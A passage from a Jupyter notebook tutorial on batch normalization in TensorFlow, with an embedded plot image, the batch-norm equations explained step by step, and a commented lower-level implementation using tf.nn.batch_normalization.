V111FV999RWXX355lev6zDPPMHToUHw+HwMHDgx0\nb82ePZunn36aAwcOsHv3brp3785ll11WYttVq1bRunVrzjjjDAAaNWoUWDdw4EBSUlIA6NatGz/9\n9BPt27cnlEceeYQnnniCp556KrBszpw53HHHHQB07dqVDh06sHq1m/7twgsvpGnT4uuIzjjjDFq3\ndjMQdO7cmYsuugiA7t27M2/evCq/N2WxlkJFVs6AfRuh7+jqrsmRSQ4jKbTvC/k5sH3psamTqZWK\nxhWWLFlCjx49OPPMM5k3b17ggBuOxMTiadpjY2PL7T+Pi4ujsLAw8Lwq5+AnJyeTnp7OnDlzOHjw\nIL/+9a+ZMmUKS5Ys4dZbb630PitT//PPP5/c3Fy+/jq8VnhRUgz1WjExMYHnMTExERl3sKRQkW/G\nuwHmkwZXXLYmq98cEDfdRf0ypv5u790DaaNdxGbK1q9fP2bMmEHTpk2JjY2ladOm7N27l3nz5oVM\nCg0bNmT//v0V7rd///588MEHHDhwgJycHN5//3369+9PamoqO3bsICsri0OHDjFjxowS+/b5fBXu\nu6CggG+++YbOnTsHEkDz5s3x+XyBAfHSdT3ppJPYunUrCxa4ky/2799f5YPwI488UmLcoX///kyc\nOBGA1atXs2HDBk466aQq7ftoi6o+gjy/ll+g0A+Zb0Gb06BVD9j8LWyYBxf/yZ3LX5vFxrmpLWIT\nIaaM7wKN20OjtrDha+h7W9n7yjsAS96F/APlv2ZMHPT4eckpNUpb/z/Y9n3x807nQmroQU7AnRq8\n6mOg/L9ly+07oPDc0LHm7nWtoewtLtknVqG7ZfsyF1+LMP+Rc7Jcsj1pcNnzS+Xnwnf/hjyfS94J\nDdw4Vr1Gocsfa1oIuXvo2SmVXbt2cv3QIW46dqDnyV3w+Xw0b17qC8fBbAb0P5snn3ySXr16BQaa\nD9+30rtnN0Zcfw19zkgDiWHkyJGcdtppADz66KP06dOHtm3b0rVr18BmI0aM4O677+bhhx8uOdCs\nheDP44EHHuCJJ54gLy+PgQMHctVVVyEi3HrrrfTo0YNWrVoFuoeK9jd69GiS6iUy76svmDx5Mnfc\ncQe5ubkkJSXx2WefBerLoYoTXZFLLrmEFi2Kx/V+PXo0v7ptJD179iAuLp7XXnutRIuAQn/xvU+0\nguPWUSYawRcUkUHAONzU2S+r6pOl1ncFXgV6Aw+raoUnL6elpenChQsrXZcvVu/krokLeHv0OZzc\nOsQ/mb8A3r8NlnrfGjp4faNbF8O9y92Fa7VU4A5NL50J8fVgVEbZhd/9hesyK5pFtUkHuPr1kgf2\nD34NmRPDe/Gmx8PwKdAsxBkSP3wGb13t/oGLxNeHYW9B5wGHl9+9Dl4Z5C7AC8fZd8OFQeemb/4W\npt4KWWuKl3U6F26YWjyluG+nK9PxHDjn3tBJZe8G+PvZEJ8Ed37nDt7lKfTD65fBT/+D026AS/9S\n/HpFVGHKL2HZ1JLLW3aH4e9CStvAohUrVnDyySe7z2zRjZ+8qUuqPKaQsxNy97m/d+m6Fdm3qeSk\niqUlJLu/s3jv2YEs917FxLnPQaj3SQtd9+yBPZRI9I07FH/mVN19QPJ8kNLOve9BDou50A97fnQH\n7fj67rXLiimUorMNJQaadCqZlP0FkJvlkrz/kFfX46B+s/D3X+h3n+U8r4WT2MjF6s93X7jyc9yJ\nLUViE6G5N8V9eXEHCXxGgojIonBuTRCxloKIxAIvARfi7s+8QESmqWrwHM27gTuBKyJVjyIdmtZH\ngOEvf8Nbt/ala6tSf+ipt7p/yPSH3AdpwT/dB7rv6FqdEEo45ZqKb7nZb4wro+r+YZd/4A5Ww6e4\n1sbyaS4hnHMvnH1n+fvavhwm3wD/uhCumwzti7+RsWMlTPmFO+jdMMW95sF98Pb18Na1cO2bcOLF\nxeX3bYY3hrh/nFFfVDgx4ZY3bqPN//4CzU+E04a7hPDGFe5vOfC30Kqn+8efeT/MfAAufR5ydsHr\nl8Ku1bBuNmz5Dq4cX7IlUeiH93/l6nEoG+a9BOc9WP77MPdFlxC6XORaAtlbXKINPth8+Yz7/A38\nLZz5KygscKcHvzsCXr7AJYZWPYrL+wtccivIdfXIP1D1yRp9OyDbuyli1g/QrMvhB9GD2S4hNGgR\nekzq4D73/7JvE6S0h7wc2LvRJQJ/Puxa4yZbTAr6X9JC1/I7uNcdVBMaQFw99/7s/cmtr9fY/Z3y\n9ruD9M5V0Ki1O3EiVIsr+IDboIX7m+5a7ZJVXL2K34uD2a5O8Q3c6+9e6+JJbOQu/szJAgpdXRum\numS2d4PLZw3CSAzB9WvU1v2dD2TBHu+04ph4SKjv3o+i5LdnPezy/i5xCWXu+miJWEtBRM4CHlPV\ni73nDwGo6p9ClH0M8EWypQAw+aNZPL9YyfMXusTQLB62fg/zXoQV0+GCx+Gcu13hQr+b9qH1qe6P\nVIsd0b1cF70O0++EfnfCWbfD385yB59bPg3v21fWWvj3z92V1H1GwcmXuYPDyxe4i+luneW+/RU5\nsBvevNJ175z7IDTv4v5BZt7vvi3ePM1171Xgi1mfcd7GF+CnuTDoTzDr9y4hjPio5JXpnz0Gc56H\n88bC8g/dP+Dwd2DbUvjvI+71f/6ySyIA/xsHnz4KQ/4Gq//jphy/87uSA/nBti6Gfw503UbXvOGS\nwvS73H7TboGul8DmRfDOTXDqdXDF30se7LYthYlXu2+9Z46Gky5hxd5ETm4R696/pse7b5X7NkFs\nArnxKSTVb+i6O+PqVdzt6dsJ2Zvce9OghTtgxSZ4N1/y/r7+Ati50u2r+Ulldz9mb3GtuAYtIXe3\n6wJrfiKgbr/5B9x4VlJjd9Dd6yWERm1Lvn+Fhd43/WzXyij0u89IvRTXqji4zx2UG7WDhPrF35gL\nDrm/X/6B4pZGXo57bVW3j6Qmxe+vFrokgLq6qt9LCPVc/EhxiwNx5ZKauroWHbALC2HPOlemYSv3\nhbLoniUFua4LyJ/v4ohNcMktL6dUS6jQtRDiEg5rDQCufNZa9/4HJYZItRQimRSGAoO8G+kgIjcC\nfVX1sOvDK0oKIjIKGAWQmpp6+qRJk6pUJ5/PxyF/IT9++18GMYeusoE4/BQi/CN2OO/GXVql/dZ0\nhYV+Yo5gTOSu/H8xpPBTNkgbWuoubot/ko0xbcLePkWzub/gH/QtzCQOPwXE4ieGe+J/y8qYEw4r\n30AP8Pv8Z+ilxXPFHySB/4t/iCUxJx9WPpTCQj+NJJeX8n9De93KNppzT8KjbJeSB2/RQh4reJ7+\nhQs4SAIPxz/IdzHuG/lphUt4NH8cKfhYKD2ZE3sGtxe8ztyY03k87h7a6jZezb+fj2LOZ1z8LW6H\nqtTDdSvEUcAL+Y+RrDmMTHiabHH/wGmFi7m94HU6qLty1k8MK6Uz98b/hnw5/KDQXLN4MH88p+lS\nYlGWX/wuXTu0ZAup5Ij7wpLEQdroduLwF78HCD7qk01DcqX4W3IcBSTpQeqTSyNy2E99tkoqipBE\nLu10GwXEsp9kcqlHCvtpQA4bpC2HKK+lqbTRHTQkBz8xbJA25OHiiaGQlrqLhuQQg1KIEIOyg6bs\nkcPnExOUVrqDehxiq6RyMOh1G+l+WpBFLIVkk0w2yaSwn4bkoAhbaYlPiruq4smnjW6nHnnkkkgW\nTUjkEI3JJj7o/QI4RDwbpQ1+YgP1aK67EZQ9kkI+h38REpQ2up1kDh9j8xNDPnHE4icOPwpsoyX7\nJbmc9/Fw9ThIO91Gbkwy6p1eXt6FimvWrGHfvpJT1gwYMKDuJIVgVW4p7FzF1vceovWuuVCQy4+J\nXVmSeBrrErqyNvEk9sVWok+wltm9e3eJ854rK1bzGbvjQU46tJTXmtzJrIaXVbxRCPULfZyaO5+e\nuQuYX/9cMuufVXZhVZIL95Piz6KJP4sdca3ZEd+27PKlFMXcMn8zl2VP4sOU4eyKC30qbkJhLtft\n/Sdf1z+PVfVOLbGugT+bAb6ZXOD7kKb+XeyJbcrDrf6JL9Z1/dy4+6+c75vOn1r+mc55KzjP9zFt\nCkpeyPRMiz+yJOkMSmuVv5HeuXNpn/cjbze5jezYJuXGlOzfR6/cb+jTpz+tjj+Z3JiSffSihYj/\nIPExQix+kgpzaFC4n1gKQ+6vgFgOxCSTFVuyKyax8ABN/btI1IMULd0d25x9sRV/hkQLaerfiS+m\nEYdiDr+YTLSQJD1A/UIfh6Qe+2MrmGCyjBs/xaifFP9uGhXu9ZJMDNkxKWTHNsEvIXrFVUkuzKaJ\nP4s43BlEB6Q+2bGNKZB4YrSQGPwckiQKpQpfoFSJo4AY9RPrJZo8ScBPXFDLRBEUlaqd9Bmvh6if\n1ICmyS5B1saWQs3qPvrhU/xv30DsadfBGbcUdwdEgSPqPipyYDesn+O6f2rBtM1HJeZg/nx31lOz\nziXPjvLthBdOc90C4CYWPPEi110A0LIbdLnw6NWD0P/wRQ47UBR1kRQNioKrW0IDN4BZ3t+y0O+6\nYvx5rtukJv7dCw6Rm51FUuOWxe95eQr9rvspPumwAevaptYNNAMLgC4i0gnYDAwDro/g65Wv80Dm\n9nuV/hdcUm1VqNXqN4VuVb+ytNaLjQ8df3ILGPKiG8juNRxadj28THWSmKpP9x4TW7XTdY+luEQK\n4huGlxDAxVTeKdImchevqWoBMAb4BFgBvKOqy0RktIiMBhCRViKyCbgXeERENolIZE7KjonBH1e7\nB4xNDdX9Srjo9zUvIUTAsZw6u2PHjvTs2ZNevXrRs2dPPvzwwwq3+eMf/1hhmREjRpS4YK0sIsJ9\n990XeP7ss8/y2GOPVbhdbRfRK5pVdaaqnqiqnVX1D96y8ao63nu8TVXbqWojVW3sPc4uf6/GmOpy\nrKfOnj17NpmZmUyZMiUwk2p5wkkK4UpMTGTq1Kns2rWrSttX19TXRyqqrmg2ps75eCxsWxJ4mnQ0\nJjNs1RMGPxlyVaSnzi5LdnY2TZoUD8RfccUVbNy4kYMHD3Lbbbdx5513MnbsWHJzc+nVqxfdu3dn\n4sSJvPHGGzz77LOICKeccgpvvvkmAF9++SXPPfcc27Zt4+mnnw60aoLFxcUxatQonn/+ef7whz+U\nWLd+/Xp++ctfsmvXLlq0aMGrr77Kcccdx4gRI6hXrx7fffcdZ599No0aNeLHH39k3bp1bNiwgeef\nf56vv/6ajz/+mLZt2zJ9+nTi4ytxYd0xYHMfGWPCFsmps0MZMGAAPXr04LzzzuOJJ54ILH/llVdY\ntGgRCxcuZPz48WRlZfHkk0+SlJREZmYmEydOZNmyZTzxxBPMmjWLxYsXM27cuMD2W7duZc6cOcyY\nMYOxY8eWGe/tt9/OxIkTDzu984477uDmm2/m+++/Z/jw4SWS2qZNm5g7dy7PPfccAGvXrmXWrFlM\nmzaNG264gQEDBrBkyRKSkpL46KOPKvHuHxvWUjCmNiv1jT63Fk+d3a5du8PKzZ49m+bNm7N27VoG\nDhxIeno6ycnJvPDCC7z//vsAbN68mR9++IFmzUqeVj5r1iyuvvrqwHxMwadlX3HFFcTExNCtWze2\nby972pRGjRpx00038cILL5S4X8O8efOYOtVNSXLjjTfy4IPFV7VfffXVJa4fGDx4MPHx8fTs2RO/\n38+gQe5mXT179mT9+vVhvV/HkiUFY0yllJ46u3379vz5z3+mUaNG/OIXvwhrH5WZehrcfQRSU1NZ\nvnw5Bw4c4LPPPmPevHnUr1+f/v37H9HU1xWdln/33XfTu3fvsGMra+rrmJgY4uPjEe/U3khNfX2k\nrPvIGFMpkZo6uzw7duzgxx9/pEOHDuzbt48mTZpQv359Vq5cGZjaGiA+Pj7QFXX++efz7rvvkpWV\nBbgLGquiadOmXHPNNfzrX/8KLOvXrx9FMytMnDiR/v37VzW0GseSgjGmUnr27MmuXbs488wzSyxL\nSUk5fOps3LjA8uXL6dWrF5MnT67Uaw0YMIBevXoxYMAAnnzySVJTUxk0aBAFBQWcfPLJjB07tsTU\n16NGjeKUU05h+PDhdO/enYcffpjzzjuPU089lXvvvbfKMd93330lzkJ68cUXefXVVwOD18HjFbVd\nRKfOjoQjmRDvqF/lWktEY9x1OeZKXdEcBaIxZojcFc3WUjDGGBNgScEYY0yAJQVjaqHa1u1rjp0j\n/WxYUjCmlqlXrx5ZWVmWGMxhVJWsrCzq1QvjLnNlsOsUjKll2rVrx6ZNm9i58/D7JR88ePCIDgi1\nUTTGDGXHXa9evZAXAobLkoIxtUx8fDydOnUKuS4jI4PTTqv4dqV1STTGDJGLO6LdRyIySERWicga\nETlsghFxXvDWfy8ivSNZH2OMMeWLWFIQkVjgJWAw0A24TkS6lSo2GOji/YwC/h6p+hhjjKlYJFsK\nfYA1qrpOVfOAScCQUmWGAG+o8zXQWERaR7BOxhhjyhHJMYW2QPAdzDcBfcMo0xbYGlxIREbhWhIA\nPhFZVcU6NQeqdseM2i0a447GmCE6447GmKHycXcIp1CtGGhW1QnAhCPdj4gsDOcy77omGuOOxpgh\nOuOOxpghcnFHsvtoM9A+6Hk7b1llyxhjjDlGIpkUFgBdRKSTiCQAw4BppcpMA27yzkI6E9inqltL\n78gYY8yxEbHuI1UtEJExwCdALPCKqi4TkdHe+vHATOASYA1wAAjvLhZVd8RdULVUNMYdjTFDdMYd\njTFDhOKudVNnG2OMiRyb+8gYY0yAJQVjjDEBUZMUKppyo6YTkVdEZIeILA1a1lREPhWRH7zfTYLW\nPeTFukpELg5afrqILPHWvSDeXcRFJFFEJnvLvxGRjscyvlBEpL2IzBaR5SKyTETu8pbX9bjrich8\nEVnsxf24t7xOxw1uJgQR+U5EZnjPoyHm9V59M0Vkobes+uJW1Tr/gxvoXgscDyQAi4Fu1V2vSsZw\nLtAbWBq07GlgrPd4LPCU97ibF2Mi0MmLPdZbNx84ExDgY2Cwt/zXwHjv8TBgcg2IuTXQ23vcEFjt\nxVbX4xYg2XscD3zj1b1Ox+3V5V7gLWBGNHzGvbqsB5qXWlZtcVf7G3KM3vSzgE+Cnj8EPFTd9apC\nHB0pmRRWAa29x62BVaHiw50BdpZXZmXQ8uuAfwSX8R7H4a6UlOqOuVT8HwIXRlPcQH3gW9xsAHU6\nbtx1Sp8D51OcFOp0zF5d1nN4Uqi2uKOl+6is6TRqu1Qtvq5jG5DqPS4r3rbe49LLS2yjqgXAPqBZ\nZKpdeV6T9zTct+Y6H7fXjZIJ7AA+VdVoiPsvwINAYdCyuh4zgAKficgicVP6QDXGXSumuTAVU1UV\nkTp5frGIJAPvAXerarbXVQrU3bhV1Q/0EpHGwPsi0qPU+joVt4hcCuxQ1UUikh6qTF2LOcg5qrpZ\nRFoCn4rIyuCVxzruaGkp1NXpNLaLN6us93uHt7yseDd7j0svL7GNiMQBKUBWxGoeJhGJxyWEiao6\n1Vtc5+Muoqp7gdnAIOp23GcDl4vIetyMyueLyL+p2zEDoKqbvd87gPdxM0xXW9zRkhTCmXKjNpoG\n3Ow9vhnX5160fJh31kEn3P0q5nvN0WwROdM7M+GmUtsU7WsoMEu9Tsjq4tXxX8AKVX0uaFVdj7uF\n10JARJJw4ygrqcNxq+pDqtpOVTvi/j9nqeoN1OGYAUSkgYg0LHoMXAQspTrjru5BlmM4mHMJ7uyV\ntcDD1V2fKtT/bdyU4vm4/sJbcP2CnwM/AJ8BTYPKP+zFugrvLARveZr3oVsL/JXiq9rrAe/iphyZ\nDxxfA2I+B9ff+j2Q6f1cEgVxnwJ858W9FHjUW16n4w6qczrFA811OmbcGZGLvZ9lRcem6ozbprkw\nxhgTEC3dR8YYY8JgScEYY0yAJQVjjDEBlhSMMcYEWFIwxhgTYEnB1Goi0sybXTJTRLaJyOag5wlh\n7uNVETmpgjK3i8jwo1PrkPu/SkS6Rmr/xoTLTkk1dYaIPAb4VPXZUssF91kvDLlhDeBdvTtFVT+o\n7rqY6GYtBVMnicgJ4u7DMBF3UVBrEZkgIgvF3aPg0aCyc0Skl4jEicheEXlS3L0M5nnz0SAiT4jI\n3UHlnxR3z4NVItLPW95ARN7zXneK91q9QtTtGa/M9yLylIj0x12U97zXwukoIl1E5BNvkrQvReRE\nb9t/i8jfveWrRWSwt7yniCzwtv9eRI6P9Hts6iabEM/UZV2Bm1S16MYlY1V1tzf/y2wRmaKqy0tt\nkwJ8oapjReQ54JfAkyH2LaraR0QuBx7FzU10B7BNVX8uIqfiprwuuZFIKi4BdFdVFZHGqrpXRGYS\n1FIQkdnASFVdKyJn465QvcjbTXvgDNwUB5+JyAm4OfOfVdXJIpKIm1PfmEqzpGDqsrVFCcFznYjc\ngvvct8HdsKR0UshV1Y+9x4uA/mXse2pQmY7e43OApwBUdbGILAux3W7c1ND/FJGPgBmlC3jzHp0J\nvCfFM8IG/6++43WFrRKRjbjkMBd4REQ6AFNVdU0Z9TamXNZ9ZOqynKIHItIFuAs4X1VPAf6DmxOm\ntLygx37K/uJ0KIwyh1HVfNwcNR8AVwAfhSgmwC5V7RX0Ezx1dumBQFXVN4ErvXr9R0TODbdOxgSz\npGCiRSNgP24mydbAxRWUr4r/AdeA6+PHtURK8GbEbKSqM4B7cDcOwqtbQwBV3QNsFZErvW1ivO6o\nIleLcyKuK+kHETleVdeo6jhc6+OUCMRnooB1H5lo8S2uq2gl8BPuAH60vQi8ISLLvddajrvLVbAU\nYKrX7x+DuycxuFlw/yEi9+FaEMOAv3tnVCUA/8bNpAlufvyFQDIwSlXzROR6EbkON4vuFuCxCMRn\nooCdkmrMUeINYMep6kGvu+q/QBd1t0A8Wq9hp66aiLKWgjFHTzLwuZccBLjtaCYEY44FaykYY4wJ\nsIFmY4wxAZYUjDHGBFhSMMYYE2BJwRhjTIAlBWOMMQH/H5qcGqzhSD2BAAAAAElFTkSuQmCC\n", "text/plain": [ "<matplotlib.figure.Figure at 0x7ffa6afd2e48>" ] }, "metadata": {}, "output_type": "display_data" } ], "source": [ "train_and_test(True, 2, tf.nn.relu)" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "When we trained with these parameters and batch normalization [earlier](#successful_example_lr_2), we reached 90% validation accuracy. However, this time the network _almost_ starts to make some progress in the beginning, but it quickly breaks down and stops learning. \n", "\n", "**Note:** Both of the above examples use *extremely* bad starting weights, along with learning rates that are too high. While we've shown batch normalization _can_ overcome bad values, we don't mean to encourage actually using them. The examples in this notebook are meant to show that batch normalization can help your networks train better. But these last two examples should remind you that you still want to try to use good network design choices and reasonable starting weights. It should also remind you that the results of each attempt to train a network are a bit random, even when using otherwise identical architectures." ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "# Batch Normalization: A Detailed Look<a id='implementation_2'></a>" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "The layer created by `tf.layers.batch_normalization` handles all the details of implementing batch normalization. Many students will be fine just using that and won't care about what's happening at the lower levels. However, some students may want to explore the details, so here is a short explanation of what's really happening, starting with the equations you're likely to come across if you ever read about batch normalization. " ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "In order to normalize the values, we first need to find the average value for the batch. If you look at the code, you can see that this is not the average value of the batch _inputs_, but the average value coming _out_ of any particular layer before we pass it through its non-linear activation function and then feed it as an input to the _next_ layer.\n", "\n", "We represent the average as $\\mu_B$, which is simply the sum of all of the values $x_i$ divided by the number of values, $m$ \n", "\n", "$$\n", "\\mu_B \\leftarrow \\frac{1}{m}\\sum_{i=1}^m x_i\n", "$$\n", "\n", "We then need to calculate the variance, or mean squared deviation, represented as $\\sigma_{B}^{2}$. If you aren't familiar with statistics, that simply means for each value $x_i$, we subtract the average value (calculated earlier as $\\mu_B$), which gives us what's called the \"deviation\" for that value. We square the result to get the squared deviation. Sum up the results of doing that for each of the values, then divide by the number of values, again $m$, to get the average, or mean, squared deviation.\n", "\n", "$$\n", "\\sigma_{B}^{2} \\leftarrow \\frac{1}{m}\\sum_{i=1}^m (x_i - \\mu_B)^2\n", "$$\n", "\n", "Once we have the mean and variance, we can use them to normalize the values with the following equation. For each value, it subtracts the mean and divides by the (almost) standard deviation. (You've probably heard of standard deviation many times, but if you have not studied statistics you might not know that the standard deviation is actually the square root of the mean squared deviation.)\n", "\n", "$$\n", "\\hat{x_i} \\leftarrow \\frac{x_i - \\mu_B}{\\sqrt{\\sigma_{B}^{2} + \\epsilon}}\n", "$$\n", "\n", "Above, we said \"(almost) standard deviation\". That's because the real standard deviation for the batch is calculated by $\\sqrt{\\sigma_{B}^{2}}$, but the above formula adds the term epsilon, $\\epsilon$, before taking the square root. The epsilon can be any small, positive constant - in our code we use the value `0.001`. It is there partially to make sure we don't try to divide by zero, but it also acts to increase the variance slightly for each batch. \n", "\n", "Why increase the variance? Statistically, this makes sense because even though we are normalizing one batch at a time, we are also trying to estimate the population distribution – the total training set, which itself an estimate of the larger population of inputs your network wants to handle. The variance of a population is higher than the variance for any sample taken from that population, so increasing the variance a little bit for each batch helps take that into account. \n", "\n", "At this point, we have a normalized value, represented as $\\hat{x_i}$. But rather than use it directly, we multiply it by a gamma value, $\\gamma$, and then add a beta value, $\\beta$. Both $\\gamma$ and $\\beta$ are learnable parameters of the network and serve to scale and shift the normalized value, respectively. Because they are learnable just like weights, they give your network some extra knobs to tweak during training to help it learn the function it is trying to approximate. \n", "\n", "$$\n", "y_i \\leftarrow \\gamma \\hat{x_i} + \\beta\n", "$$\n", "\n", "We now have the final batch-normalized output of our layer, which we would then pass to a non-linear activation function like sigmoid, tanh, ReLU, Leaky ReLU, etc. In the original batch normalization paper (linked in the beginning of this notebook), they mention that there might be cases when you'd want to perform the batch normalization _after_ the non-linearity instead of before, but it is difficult to find any uses like that in practice.\n", "\n", "In `NeuralNet`'s implementation of `fully_connected`, all of this math is hidden inside the following line, where `linear_output` serves as the $x_i$ from the equations:\n", "```python\n", "batch_normalized_output = tf.layers.batch_normalization(linear_output, training=self.is_training)\n", "```\n", "The next section shows you how to implement the math directly. " ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "### Batch normalization without the `tf.layers` package\n", "\n", "Our implementation of batch normalization in `NeuralNet` uses the high-level abstraction [tf.layers.batch_normalization](https://www.tensorflow.org/api_docs/python/tf/layers/batch_normalization), found in TensorFlow's [`tf.layers`](https://www.tensorflow.org/api_docs/python/tf/layers) package.\n", "\n", "However, if you would like to implement batch normalization at a lower level, the following code shows you how.\n", "It uses [tf.nn.batch_normalization](https://www.tensorflow.org/api_docs/python/tf/nn/batch_normalization) from TensorFlow's [neural net (nn)](https://www.tensorflow.org/api_docs/python/tf/nn) package.\n", "\n", "**1)** You can replace the `fully_connected` function in the `NeuralNet` class with the below code and everything in `NeuralNet` will still work like it did before." ] }, { "cell_type": "code", "execution_count": null, "metadata": { "collapsed": true }, "outputs": [], "source": [ "def fully_connected(self, layer_in, initial_weights, activation_fn=None):\n", " \"\"\"\n", " Creates a standard, fully connected layer. Its number of inputs and outputs will be\n", " defined by the shape of `initial_weights`, and its starting weight values will be\n", " taken directly from that same parameter. If `self.use_batch_norm` is True, this\n", " layer will include batch normalization, otherwise it will not. \n", " \n", " :param layer_in: Tensor\n", " The Tensor that feeds into this layer. It's either the input to the network or the output\n", " of a previous layer.\n", " :param initial_weights: NumPy array or Tensor\n", " Initial values for this layer's weights. The shape defines the number of nodes in the layer.\n", " e.g. Passing in 3 matrix of shape (784, 256) would create a layer with 784 inputs and 256 \n", " outputs. \n", " :param activation_fn: Callable or None (default None)\n", " The non-linearity used for the output of the layer. If None, this layer will not include \n", " batch normalization, regardless of the value of `self.use_batch_norm`. \n", " e.g. Pass tf.nn.relu to use ReLU activations on your hidden layers.\n", " \"\"\"\n", " if self.use_batch_norm and activation_fn:\n", " # Batch normalization uses weights as usual, but does NOT add a bias term. This is because \n", " # its calculations include gamma and beta variables that make the bias term unnecessary.\n", " weights = tf.Variable(initial_weights)\n", " linear_output = tf.matmul(layer_in, weights)\n", "\n", " num_out_nodes = initial_weights.shape[-1]\n", "\n", " # Batch normalization adds additional trainable variables: \n", " # gamma (for scaling) and beta (for shifting).\n", " gamma = tf.Variable(tf.ones([num_out_nodes]))\n", " beta = tf.Variable(tf.zeros([num_out_nodes]))\n", "\n", " # These variables will store the mean and variance for this layer over the entire training set,\n", " # which we assume represents the general population distribution.\n", " # By setting `trainable=False`, we tell TensorFlow not to modify these variables during\n", " # back propagation. Instead, we will assign values to these variables ourselves. \n", " pop_mean = tf.Variable(tf.zeros([num_out_nodes]), trainable=False)\n", " pop_variance = tf.Variable(tf.ones([num_out_nodes]), trainable=False)\n", "\n", " # Batch normalization requires a small constant epsilon, used to ensure we don't divide by zero.\n", " # This is the default value TensorFlow uses.\n", " epsilon = 1e-3\n", "\n", " def batch_norm_training():\n", " # Calculate the mean and variance for the data coming out of this layer's linear-combination step.\n", " # The [0] defines an array of axes to calculate over.\n", " batch_mean, batch_variance = tf.nn.moments(linear_output, [0])\n", "\n", " # Calculate a moving average of the training data's mean and variance while training.\n", " # These will be used during inference.\n", " # Decay should be some number less than 1. tf.layers.batch_normalization uses the parameter\n", " # \"momentum\" to accomplish this and defaults it to 0.99\n", " decay = 0.99\n", " train_mean = tf.assign(pop_mean, pop_mean * decay + batch_mean * (1 - decay))\n", " train_variance = tf.assign(pop_variance, pop_variance * decay + batch_variance * (1 - decay))\n", "\n", " # The 'tf.control_dependencies' context tells TensorFlow it must calculate 'train_mean' \n", " # and 'train_variance' before it calculates the 'tf.nn.batch_normalization' layer.\n", " # This is necessary because the those two operations are not actually in the graph\n", " # connecting the linear_output and batch_normalization layers, \n", " # so TensorFlow would otherwise just skip them.\n", " with tf.control_dependencies([train_mean, train_variance]):\n", " return tf.nn.batch_normalization(linear_output, batch_mean, batch_variance, beta, gamma, epsilon)\n", " \n", " def batch_norm_inference():\n", " # During inference, use the our estimated population mean and variance to normalize the layer\n", " return tf.nn.batch_normalization(linear_output, pop_mean, pop_variance, beta, gamma, epsilon)\n", "\n", " # Use `tf.cond` as a sort of if-check. When self.is_training is True, TensorFlow will execute \n", " # the operation returned from `batch_norm_training`; otherwise it will execute the graph\n", " # operation returned from `batch_norm_inference`.\n", " batch_normalized_output = tf.cond(self.is_training, batch_norm_training, batch_norm_inference)\n", " \n", " # Pass the batch-normalized layer output through the activation function.\n", " # The literature states there may be cases where you want to perform the batch normalization *after*\n", " # the activation function, but it is difficult to find any uses of that in practice.\n", " return activation_fn(batch_normalized_output)\n", " else:\n", " # When not using batch normalization, create a standard layer that multiplies\n", " # the inputs and weights, adds a bias, and optionally passes the result \n", " # through an activation function. \n", " weights = tf.Variable(initial_weights)\n", " biases = tf.Variable(tf.zeros([initial_weights.shape[-1]]))\n", " linear_output = tf.add(tf.matmul(layer_in, weights), biases)\n", " return linear_output if not activation_fn else activation_fn(linear_output)\n" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "This version of `fully_connected` is much longer than the original, but once again has extensive comments to help you understand it. Here are some important points:\n", "\n", "1. It explicitly creates variables to store gamma, beta, and the population mean and variance. These were all handled for us in the previous version of the function.\n", "2. It initializes gamma to one and beta to zero, so they start out having no effect in this calculation: $y_i \\leftarrow \\gamma \\hat{x_i} + \\beta$. However, during training the network learns the best values for these variables using back propagation, just like networks normally do with weights.\n", "3. Unlike gamma and beta, the variables for population mean and variance are marked as untrainable. That tells TensorFlow not to modify them during back propagation. Instead, the lines that call `tf.assign` are used to update these variables directly.\n", "4. TensorFlow won't automatically run the `tf.assign` operations during training because it only evaluates operations that are required based on the connections it finds in the graph. To get around that, we add this line: `with tf.control_dependencies([train_mean, train_variance]):` before we run the normalization operation. This tells TensorFlow it needs to run those operations before running anything inside the `with` block. \n", "5. The actual normalization math is still mostly hidden from us, this time using [`tf.nn.batch_normalization`](https://www.tensorflow.org/api_docs/python/tf/nn/batch_normalization).\n", "5. `tf.nn.batch_normalization` does not have a `training` parameter like `tf.layers.batch_normalization` did. However, we still need to handle training and inference differently, so we run different code in each case using the [`tf.cond`](https://www.tensorflow.org/api_docs/python/tf/cond) operation.\n", "6. We use the [`tf.nn.moments`](https://www.tensorflow.org/api_docs/python/tf/nn/moments) function to calculate the batch mean and variance." ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "**2)** The current version of the `train` function in `NeuralNet` will work fine with this new version of `fully_connected`. However, it uses these lines to ensure population statistics are updated when using batch normalization: \n", "```python\n", "if self.use_batch_norm:\n", " with tf.control_dependencies(tf.get_collection(tf.GraphKeys.UPDATE_OPS)):\n", " train_step = tf.train.GradientDescentOptimizer(learning_rate).minimize(cross_entropy)\n", "else:\n", " train_step = tf.train.GradientDescentOptimizer(learning_rate).minimize(cross_entropy)\n", "```\n", "Our new version of `fully_connected` handles updating the population statistics directly. That means you can also simplify your code by replacing the above `if`/`else` condition with just this line:\n", "```python\n", "train_step = tf.train.GradientDescentOptimizer(learning_rate).minimize(cross_entropy)\n", "```" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "**3)** And just in case you want to implement every detail from scratch, you can replace this line in `batch_norm_training`:\n", "\n", "```python\n", "return tf.nn.batch_normalization(linear_output, batch_mean, batch_variance, beta, gamma, epsilon)\n", "```\n", "with these lines:\n", "```python\n", "normalized_linear_output = (linear_output - batch_mean) / tf.sqrt(batch_variance + epsilon)\n", "return gamma * normalized_linear_output + beta\n", "```\n", "And replace this line in `batch_norm_inference`:\n", "```python\n", "return tf.nn.batch_normalization(linear_output, pop_mean, pop_variance, beta, gamma, epsilon)\n", "```\n", "with these lines:\n", "```python\n", "normalized_linear_output = (linear_output - pop_mean) / tf.sqrt(pop_variance + epsilon)\n", "return gamma * normalized_linear_output + beta\n", "```\n", "\n", "As you can see in each of the above substitutions, the two lines of replacement code simply implement the following two equations directly. The first line calculates the following equation, with `linear_output` representing $x_i$ and `normalized_linear_output` representing $\\hat{x_i}$: \n", "\n", "$$\n", "\\hat{x_i} \\leftarrow \\frac{x_i - \\mu_B}{\\sqrt{\\sigma_{B}^{2} + \\epsilon}}\n", "$$\n", "\n", "And the second line is a direct translation of the following equation:\n", "\n", "$$\n", "y_i \\leftarrow \\gamma \\hat{x_i} + \\beta\n", "$$\n", "\n", "We still use the `tf.nn.moments` operation to implement the other two equations from earlier – the ones that calculate the batch mean and variance used in the normalization step. If you really wanted to do everything from scratch, you could replace that line, too, but 